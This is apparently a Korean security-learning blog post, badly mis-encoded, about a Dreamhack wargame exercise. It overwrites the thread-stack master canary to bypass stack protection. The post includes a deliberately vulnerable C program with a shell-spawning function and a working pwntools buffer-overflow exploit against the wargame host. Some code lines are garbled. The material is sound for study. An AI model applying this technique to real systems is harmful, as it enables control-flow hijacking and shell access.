Jastes 2022. 11. 13. 21:00


Master Canary

๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ ์Šคํƒ ๋ฒ„ํผ์™€ ํ™•์ธํ•˜๋Š” ๋ฒ•!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
 
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void giveshell() { execve("/bin/sh"00); }
 
void init() {
  setvbuf(stdin, 020);
  setvbuf(stdout, 020);
}
 
void thread_routine() {
  char buf[256];
  int size = 0;
 
  printf("Size: ");
  scanf("%d"&size);
  printf("Data: ");
  read(0, buf, size);
}
 
int main() {
  pthread_t thread_t;
  init();
 
  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL< 0) {
    perror("thread create error:");
    exit(0);
  }
 
  pthread_join(thread_t, 0);
  return 0;
}
cs

๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋Š” ๋กœ๋”์—์„œ ํ• ๋‹นํ•œ TLS ์˜์—ญ์— ์กด์žฌํ•˜๊ณ , ํ•ด๋‹น ํŽ˜์ด์ง€๋Š” RW-๋กœ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.
ํ•ด๋‹น ์˜์—ญ์„ ์ดํ•ดํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์•„๋ž˜ ๋งํฌ์— ๋Œ€ํ•˜์—ฌ ์ž์„ธํžˆ ์•Œ ํ•„์š”๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

 

Background: Master Canary

Stack Smashing Protector(SSP)๋Š” BOF๋กœ๋ถ€ํ„ฐ ret ๋ณดํ˜ธ ๊ธฐ๋ฒ•์œผ๋กœ์จ, ์Šคํƒ ๋ฒ„ํผ๊ฐ€ ์กด์žฌํ•˜๋Š” ํ•จ์ˆ˜ ๋‚ด๋ถ€์—์„œ ์ž„์˜๋กœ ์ƒ์„ฑ๋œ ๊ฐ’์„ ๋ฒ„ํผ ๋งˆ์ง€๋ง‰์— ์‚ฝ์ž…ํ•ฉ๋‹ˆ๋‹ค. SSP ๋ณดํ˜ธ ๊ธฐ๋ฒ•์„ ๋ฐฐ์šธ ๋•Œ ์Šคํƒ ์นด๋‚˜๋ฆฌ์˜ ๊ฐ’์ด ์œ„์น˜ํ•œ

dystopia050119.tistory.com

์นด๋‚˜๋ผ์˜ ์ƒ์„ฑ์˜ ๊ณผ์ •๊ณผ ์ข…๋ฅ˜

๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋Š” main ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ์ „์— ๋žœ๋ค์˜ ์นด๋‚˜๋ฆฌ๋ฅผ ์“ฐ๋ ˆ๋“œ๋งˆ๋‹ค ์ „์—ญ ๋ณ€์ˆ˜๋กœ ์‚ฌ์šฉ๋˜๋Š”
TLS์— ์ €์žฅ ์ด๋Š” ๋ชจ๋“  ์“ฐ๋ ˆ๋“œ๊ฐ€ ํ•˜๋‚˜์˜ ์นด๋‚˜๋ฆฌ ๊ฐ’์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ์ด๋‹ค.

์ผ๋ฐ˜์ ์œผ๋ก  ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋Š” ์Šคํƒ์— ์กด์žฌX๋กœ BOF๊ฐ€ ๋ฐœ์ƒํ•ด๋„ Exploit์ด ๋ถˆ๊ฐ€๋Šฅํ•˜์ง€๋งŒ..
์“ฐ๋ ˆ๋“œ ์Šคํƒ์˜ ๊ฒฝ์šฐ๋Š” ์˜ˆ์™ธ์ ์œผ๋กœ ์“ฐ๋ ˆ๋“œ ์Šคํƒ์— ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๊ฐ€ ๋“ค์–ด๊ฐ„๋‹ค.


๐Ÿ›‘์—ฌ๊ธฐ์„œ ์ž ๊น!

์“ฐ๋ ˆ๋“œ์˜ ์ •ํ™•ํ•œ ์˜๋ฏธ์™€ ์“ฐ๋ ˆ๋“œ๊ฐ€ ์™œ ์Šคํƒ์— ์œ„์น˜ํ•˜๋Š”๊ฐ€?

๋จผ์ € ์“ฐ๋ ˆ๋“œ์™€ ํ”„๋กœ์„ธ์Šค์˜ ๊ตฌ๋ถ„์— ๋Œ€ํ•˜์—ฌ ์•Œ์•„์•ผํ•ฉ๋‹ˆ๋‹ค.

  • ํ”„๋กœ์„ธ์Šค
    : OS๋กœ๋ถ€ํ„ฐ ์ž์›์„ ํ• ๋‹น๋ฐ›๋Š” ์ž‘์—…์˜ ๋‹จ์œ„
    - ํ”„๋กœ์„ธ์„œ, ํ•„์š”ํ•œ ์ฃผ์†Œ ๊ณต๊ฐ„, ๋ฉ”๋ชจ๋ฆฌ ๋“ฑ์„ ํ• ๋‹น๋ฐ›์Œ
  • ์“ฐ๋ ˆ๋“œ
    : ํ• ๋‹น๋ฐ›์€ ์ž์›์„ ์ด์šฉํ•˜๋Š” ์‹คํ–‰์˜ ๋‹จ์œ„
    - ํ•œ ํ”„๋กœ์„ธ์Šค ๋‚ด์˜ ๋™์ž‘ํ•˜๋Š” ์—ฌ๋Ÿฌ ์‹คํ–‰์˜ ํ๋ฆ„
    - ์ฃผ์†Œ ๊ณต๊ฐ„์ด๋‚˜ ์ž์›๋“ค์„ ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค ๋‚ด์˜ ์“ฐ๋ ˆ๋“œ๋ผ๋ฆฌ ๊ณต์œ ํ•˜๋ฉฐ ์‹คํ–‰ํ•จ

๋” ์ž์„ธํžˆ๋Š” ์•„๋ž˜ ๋งํฌ๋ฅผ ํ†ตํ•ด ์‚ดํŽด๋ณด์‹œ๊ธธ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.
์ œ๊ฐ€ ์ ๊ณ  ์‹ถ์—ˆ์ง€๋งŒ.. ์‚ฌ์†Œํ•œ ๋ถ€๋ถ„์— ์‹œ๊ฐ„์„ ๋‚ ๋ฆฌ๊ธฐ ์‹ซ๊ธฐ์—.. ใ…Ž

0123

๋…๋ฆฝ์ ์ธ ๊ณต๊ฐ„์œผ๋กœ ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ ๊ณต๊ฐ„์„ ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋‹ค(๋ณด์•ˆ๋ฌธ์ œ๋กœ)
ํ˜„์ œ ์šฐ๋ฆฌ๋Š” stack๊ณผ heap์˜ ์‚ฌ์ด์˜ ์˜์—ญ์˜ ์“ฐ๋ ˆ๋“œ stack์˜ ๋ถ€๋ถ„์„ ๊ณต๋žตํ•˜๋Š” ์ค‘์ž…๋‹ˆ๋‹ค.

 

[OS]๋ฉ”๋ชจ๋ฆฌ ๊ด€์ ์—์„œ ๋ณธ ์“ฐ๋ ˆ๋“œ(thread)

๊ธฐ๊ณ„์‹ ํ‚ค๋ณด๋“œ, ํ”„๋กœ๊ทธ๋ž˜๋ฐ, ์ปดํ“จํ„ฐ ๊ด€๋ จ ์ •๋ณด, IT ์ œํ’ˆ ๊ด€๋ จ ๋ธ”๋กœ๊ทธ์ž…๋‹ˆ๋‹ค.

mooneegee.blogspot.com

 ๊ธด ๋ง๋ณด๋‹ค๋Š” ์œ„ ์ด๋ฏธ์ง€๋ฅผ ๋ณด์‹œ๋ฉด Process์•ˆ์—๋Š” ๋‹ค์ˆ˜์˜ Thread๊ฐ€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.
์“ฐ๋ ˆ๋“œ๋Š” ํ”„๋กœ์„ธ์Šค ๋‚ด์—์„œ ๊ฐ Stack๋งŒ ๋”ฐ๋กœ ํ• ๋‹น๋ฐ›๊ณ  Code, Data, Heap ์˜์—ญ์„ ๊ณต์œ ํ•ฉ๋‹ˆ๋‹ค.
๋ฐ˜๋ฉด ํ”„๋กœ์„ธ์Šค๋Š” ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

์œ„ ์„ค๋ช…์„ ํ™•์ธํ•ด๋ณด์‹œ๋ฉด ํ”„๋กœ์„ธ์Šค ๊ฐ„์˜ ๋ฉ”๋ชจ๋ฆฌ ์ ‘๊ทผ์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋ฉฐ,
๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋Š” ๊ทธ๋Ÿฌ๊ธฐ์— TLS์— ์ „์—ญ ๋ณ€์ˆ˜๋กœ์จ ๋“ค์–ด๊ฐ€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๊ธฐ์— ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋Š” ์ „์—ญ ๋ณ€์ˆ˜๋กœ์จ ์ „๋‹ฌ๋˜์–ด ์Šคํƒ์— ์ง€์ •๋˜๊ธฐ์— ์œ„์˜ ์„ค๋ช…์ด ์ง„ํ–‰๋ฉ๋‹ˆ๋‹ค.
์“ฐ๋ ˆ๋“œ๋กœ ์ƒ์„ฑํ•œ ํ”„๋กœ์„ธ์Šค์—์„œ ์นด๋‚˜๋ฆฌ๋ฅผ ๊ฒ€์ •ํ•  ๋•Œ '๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ผ๋Š” ๊ฐ’๊ณผ ๋น„๊ตํ•œ๋‹ค๋Š” ์ ..

์ด ์ด์•ผ๊ธฐ์˜ ํ•ต์‹ฌ์€ ์“ฐ๋ ˆ๋“œ๋ฅผ ์“ฐ๋Š” ํ™˜๊ฒฝ์—์„œ๋งŒ ์Šคํƒ์— ์กด์žฌํ•˜๋Š” ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ
๋ฎ์–ด์„œ ์นด๋‚˜๋ฆฌ๋ฅผ ์šฐํšŒ ๋ฐ ๋ณ€์กฐํ•œ๋‹ค๋Š” ์ ์ด ํ•ต์‹ฌ์ž…๋‹ˆ๋‹ค.


giveshell ํ•จ์ˆ˜์˜ ์กด์žฌ์™€ thread_routine ํ•จ์ˆ˜์—์„œ์˜ BOF์˜ ๊ฐ€๋Šฅ์„ฑ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๊ธฐ์— NX(giveshell)๊ณผ Partial RELRO&Canary(Master Canary exploit)์œผ๋กœ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

pthread_create๋กœ ์“ฐ๋ ˆ๋“œ๋ฅผ ์ƒ์„ฑ์‹œ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ์ธ tcbhead_t ๊ตฌ์กฐ์ฒด์˜
stack_guard(master canary)๋ฅผ ๋ณต์‚ฌํ•˜์—ฌ ์‚ฌ์šฉํ•˜๊ธฐ ๋•œ์— ์ด๊ฒƒ์„ ๋ฎ์–ด์จ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

์“ฐ๋ ˆ๋“œ๋กœ ์ƒ์„ฑํ•œ ํ”„๋กœ์„ธ์Šค์—์„œ ์นด๋‚˜๋ฆฌ๋ฅผ ๊ฒ€์ฆํ•  ๋•Œ
๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ ๊ฐ’๊ณผ ๋น„๊ตํ•˜์—ฌ ๋ฆญ์„ ํ•˜์ง€ ์•Š์•„๋„ ์นด๋‚˜๋ฆฌ ๊ฐ’๊ณผ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ ๊ฐ’์„ ๊ฐ™๊ฒŒ ์กฐ์ž‘์ด ๊ฐ€๋Šฅ!

dummy + canary + sfp + giveshell + dummy(buf-master canary) + master canary

์œ„์™€ ๊ฐ™์€ ์ˆœ์œผ๋กœ ์ •๋ ฌํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค.
๊ทธ๋Ÿผ ์šฐ๋ฆฌ๋Š” ret์™€ master canary์˜ ์‚ฌ์ด์˜ ๊ฑฐ๋ฆฌ๋ฅผ ๊ตฌํ•ด๋ด…์‹œ๋‹ค.

์ฐธ๊ณ ๋กœ ๊ณต๋ถ€ํ•˜๋ฉด์„œ ๋Š๋‚€๊ฑด๋ฐ ์ฐธ๊ณ ๋กœ ์นด๋‚˜๋ฆฌ๋Š” ์ง€์—ญ๋ณ€์ˆ˜ ๋ฐฐ์—ด๊ณผ ๊ฐ™์ด ์‚ฌ์šฉ๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ์—๋Š”
์–ด๋Š์ •๋„์˜ ์งง์€ check์™€ ๊ฐ™์€ ์ƒ์ˆ˜๋‚˜ ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉ์‹œ์—๋Š” ์‚ฌ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿผ ๋งˆ์ € ์„œ๋กœ์˜ offset์„ ์•Œ์•„๋ด…์‹œ๋‹ค.
๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด thread_routine ํ•จ์ˆ˜์— ํ”„๋ณด๋ฅผ ๊ฑธ๊ณ ,
readํ•จ์ˆ˜์— bof๊ฐ€ ๋ฐœ์ƒ๋˜๋‹ˆ๊นŒ ๊ทธ ๋ถ€๋ถ„์„ ์ €์žฅํ•˜๋Š” rbp-0x110์˜ ์œ„์น˜์—์„œ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค.

๊ทธ๋Ÿผ ์ด์ œ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ์˜ ๊ฑฐ๋ฆฌ๋„ ๊ตฌํ•˜๊ณ  ๊ณ„์‚ฐํ•˜๋ฉด ๋๋‚˜๊ฒ ๊ตฐ์š”
์ด์ „์— ์นด๋‚˜๋ฆฌ ๊ตฌํ•˜๋Š” ๋ฒ•์ฒ˜๋Ÿผ ๊ตฌํ•œ ํ›„ fs+0x28์˜ ๊ณ„์‚ฐ์ฒ˜๋Ÿผ ์ ‘๊ทผํ•˜์—ฌ ํ•˜๋Š” ๋ฐฉ์‹๋„ ์žˆ์œผ๋‚˜,
์—ฌ๊ธฐ์„  gdb์— $fs_base๋ฅผ ํ†ตํ•ด fs ์„ธ๊ทธ๋จผํŠธ ๋ ˆ์ง€์Šคํ„ฐ์— ์ €์žฅ๋œ ์ฃผ์†Œ๋ฅผ ๋ถˆ๋Ÿฌ์˜ต๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ํ•ด๋‹น ์ฃผ์†Œ์— 0x28๋ฅผ ๋”ํ•œ ๊ฐ’์„ ํ†ตํ•ด ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋ฉด ํ•ด๋‹น ๊ฑฐ๋ฆฌ๊ฐ€ 0x928๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

dummy + canary + sfp + giveshell + dummy(buf-master canary) + master canary

ํ•ด๋‹น ์‹์„ ์ด์šฉํ•˜์—ฌ ๋ฐ”๋กœ exploit์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ด…์‹œ๋‹ค.

์ฐธ๊ณ ๋กœ ๋ณด์‹œ๋ฉด ๊ดœ์ฐฎ์€ ์ž๋ฃŒ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
import sys
 
 
def main():
    FILENAME = './mc_thread'
    HOST = 'host3.dreamhack.games'
 
    if(args['REMOTE']):
        p = remote(HOST, sys.argv[1])
    else:
        p = process(FILENAME)
 
    '''default Setting'''
    e = ELF(FILENAME, checksec=False)
    context(arch='amd64', os='linux', endian='little')
    context.log_level = 'debug'
    #context.cyclic_alphabet = 'ABC'
 
    giveshell = e.symbols['giveshell']
 
    '''payload script(buf-canary-sfp-ret)'''
    #payload = b'A'*0x114
    payload = b'A'* 264
    payload += b'A'*0x8   #canary 
    payload += b'B'*0x8      #sfp
    payload += p64(giveshell) #ret
 
    #payload += cyclic(0x928-len(payload))
    #payload += b'A'*(0x928-len(payload))
    payload += b'A'*(0x948-len(payload))
    #payload += b'AAAAAAAA' #master canary
    payload += p64(0x4141414141414141)
 
    inp_sz = len(payload)
 
    p.sendlineafter('Size: ', str(inp_sz))
    p.sendlineafter('Data: ', payload)
 
    p.interactive()
 
if __name__=="__main__":
    main()
 
cs

์ด ๋ถ€๋ถ„์ด ํ•ต์‹ฌ์œผ๋กœ ๋‚˜๋จธ์ง€ ์œ„์— ์ฝ”๋“œ๋Š” ์ทจํ–ฅ์ฐจ์ด์ด๋ฏ€๋กœ ๋„˜์–ด๊ฐ€๋„๋ก ํ•ฉ์‹œ๋‹ค.
์œ„์— canary leak์„ ํ•  ๋•Œ์ฒ˜๋Ÿผ rbp-0x108(264)๊ฐ€ ์ด ๋ฒ„ํผ์˜ ํฌ๊ธฐ์ด๋ฉฐ,
๋‚˜๋จธ์ง€๋Š” ์œ„์— ์„ค๋ช…์—์„œ์ฒ˜๋Ÿผ ํ•˜๋ฉด.. ์งœ๋ž€! ๋์ด ๋‚˜๊ฒŒ๋ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ๋กœ ์ € ํ™˜๊ฒฝ์€ linux Ubuntu 18.04๋ฒ„์ „์œผ๋กœ ํ•ด์•ผ์ง€ ๋˜๋”๋ผ๊ณ ์š”
๊ทธ ๊ณผ์ •์€.. ์œ„์™€ ๊ฐ™๊ธฐ์— ๋„˜์–ด๊ฐ€๋„๋ก ํ•ฉ์‹œ๋‹ค.(๋’ค์— ๋‚˜๋จธ์ง€๋„ ๊ทธ๋Ÿฐ๋ฐ.. ใ…  ๋‚˜์ค‘์— ์ถ”๊ฐ€์ ์œผ๋กœ ๊ณ ์น˜๊ฒ ์Šต๋‹ˆ๋‹ค.)
์ผ์ •์— ์น˜์—ฌ์„œ ์ด์ƒํ•œ๊ณณ์— ์‚ฝ์งˆ์„ ๋งŽ์ด ํ•ด์„œ ใ… 


์ฐธ๊ณ  ์ž๋ฃŒ

 

Exploit Tech: Master Canary

์ด๋ฒˆ ์ฝ”์Šค์—์„œ๋Š” Master Canary๋ฅผ ์ด์šฉํ•ด Canary Leak ์—†์ด ์ต์Šคํ”Œ๋กœ์ž‡ ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด ์†Œ๊ฐœํ•ฉ๋‹ˆ๋‹ค.

dreamhack.io

๋”๋ณด๊ธฐ

์ฐธ๊ณ  ์ด๋ฏธ์ง€